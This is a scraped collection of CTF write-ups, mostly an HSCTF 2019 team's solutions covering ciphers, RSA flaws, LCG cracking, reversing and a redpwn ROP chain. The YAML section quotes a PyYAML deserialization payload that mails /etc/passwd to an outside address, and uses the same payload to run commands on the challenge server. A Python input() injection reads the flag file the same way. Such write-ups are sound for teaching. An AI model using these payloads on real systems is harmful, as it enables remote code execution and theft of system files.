<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
In this challenge we have given this text:>Emperor Caesar encrypted a message with his record-breaking high-performance encryption method. You are his tax collector that he is trying to evade. Fortunately for you, his crown is actually a dunce cap.>mshn{P_k0ua_d4ua_a0_w4f_tf_ahe3z}
The format is is similar to the flag one, with four characters before a curly bracket and another curly bracket at the end.We know that the flag must begin with "flag" and we can see that f->m, l->s, a->h, g->n are all transformations based on the Caesar cipher.We also have the hint in the explanation because the emperor is named.So using a Caesar cipher decrypter we obtain the flag:```flag{I_d0nt_w4nt_t0_p4y_my_tax3s}``` |
In this pwn challenge with the following description:```nc chall2.2019.redpwn.net 4005```we were given a ELF (look at zipline), let's reverse it with ghidra.

In the main function we have just a print statement and other function calls. So let's see zipline: here we have just an unsafe read from stdin, this will probably be the entry point for a stack overflow.

In the end there is the i_got_u function.

Here we can see that if we pass the first check we will receive the flag, so let's try to understand how to bypass it with a buffer overflow. We can also notice a list of various functions which are all similar:

Every function sets one of the global variables used in the check, so we can exploit the software creating a chain of return redirection and then call the i_got_u function from the main address.
```pythonchain = paddingchain += p32(air)chain += p32(water)chain += p32(land)chain += p32(underground)chain += p32(limbo)chain += p32(hell)chain += p32(nether)chain += p32(bedrock)chain += p32(0x08049569) #i_got_u from main```
In the end the flag is:```flag{h0w_l0w_c4n_u_g0_br0}``` |
By searching the given image in Yandex gives us the similar photos could be found in the "molecularshirts.com"To find the picture we provided i decided to download all the photos in the site.I automated the process by using this script.```import osfile = open("molecules","r")for line in file: uri= "http://www.molecularshirts.com/wp-content/themes/poza-child/images/names/"+line[:-1]+".jpg" os.system("wget "+uri)```When the script running on another terminal i used this script to compare photos with the provided image.```import cv2import numpy as np
original = cv2.imread("1.png")file = open("molecule_names","r")for line in file: image_to_compare = cv2.imread(line[:-1]+".jpg")
if original.shape == image_to_compare.shape: print("The images have same size and channels") difference = cv2.subtract(original, image_to_compare) b, g, r = cv2.split(difference)
if cv2.countNonZero(b) == 0 and cv2.countNonZero(g) == 0 and cv2.countNonZero(r) == 0: print("The images are completely Equal") else: print("The images are NOT equal")
sift = cv2.xfeatures2d.SIFT_create() kp_1, desc_1 = sift.detectAndCompute(original, None) kp_2, desc_2 = sift.detectAndCompute(image_to_compare, None)
index_params = dict(algorithm=0, trees=5) search_params = dict() flann = cv2.FlannBasedMatcher(index_params, search_params)
matches = flann.knnMatch(desc_1, desc_2, k=2)
good_points = [] for m, n in matches: if m.distance < 0.6*n.distance: good_points.append(m)
number_keypoints = 0 if len(kp_1) <= len(kp_2): number_keypoints = len(kp_1) else: number_keypoints = len(kp_2) if(len(good_points)>300): print("File Name:"+line) print("GOOD Matches:", len(good_points)) print("How good it's the match: ", len(good_points) / number_keypoints * 100)
result = cv2.drawMatches(original, kp_1, image_to_compare, kp_2, good_points, None)
cv2.destroyAllWindows()```Then Voila! |
A High School CTF event.
We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally.

As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:.
Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?}
So I will try to discuss the challenges i loved the *most* here:
# **MISC**
## A Simple Conversation-:> description:
### Solution: On looking to the section of source code we see
```pythonprint("What's your age?")
age = input("> ")
sleep(1)
```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see.
```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}`
## Broken_Repl-:> description:
### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley:
```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description:
### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip
f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered)
```That's it :smiley:
## 64+Word -:> description:
### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py)
```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1
```
then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}`
## Broken gps-:> description:Input Format:
A challenge to test some coding skills.
### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all.
```pythonimport math
suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz}
another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt
dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])}
def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2)
flag = ""
for filename in range(1,13):
position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0])
with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:]
for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord]
flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26)
print(f"hsctf{{{flag}}}")```
## RealReversal-:> description:
### Solution:On opening file we see
Reversing the file means reversing the hexes.So one liner will do that
```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])```
and on opening reversed file you see utf-8 chars
Explanation:Why it happens that on the reverse bytes we can't see any characters, because
>UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes.
So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}`
## JsonInfo-:> description:
### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning:
>Refer to the PyYAML documentation:
>Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file.
>!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values will open the door for attacks.
>repair:
>Always use yaml.safe_load unless you have a very good reason.
So we tried to do these thing as instructed here to see if the vulnerability is here:
```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!
```So, yeah the vulnerability is here, Great!!!
```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}`
# **CRYPTO**
## Massive Rsa-:> description:
### Solution:
We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}`
## Really Secure Algorithm-:> description:
### Solution:
We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs.
```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}`
## Tux Kitchen-:> description:
### Solution:Here's the problem
```pythonimport random
good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """
flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316
# I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999)
# Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess
# Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food
# Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure
print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])`
I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result.
```pythonfrom functools import reducefrom gmpy2 import *
def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus)
st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d))
w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence
if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag
print(''.join(chr(i) for i in ans))
```
If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}`
# **REVERSAL**
## I Thought Trig Was Really Easy-:> description:
### Solution:
The problem is here as:
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96
inp = input("Enter the text: ")
out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse.
So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it!
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1
print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}`
## Tux Talk Show 2019:> description:
### Solution:
For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv)
{ long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us.
So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here.
```pythonfrom pwn import *
a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767
m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h"
int main(int argc, char *argv[]) {
time_t t; srand((unsigned) time(&t);;
int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e};
int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1);
printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time
host = "rev.hsctf.com"port = 6767
s = remote(host,port)p = process("./a.out")
res = p.recvline()
s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server.
## Bitecode -:> description:
### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups.
http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java).
So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them.
[Watch this video](https://youtu.be/rYOZHB_ABlo)[](https://youtu.be/rYOZHB_ABlo)
<video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video>
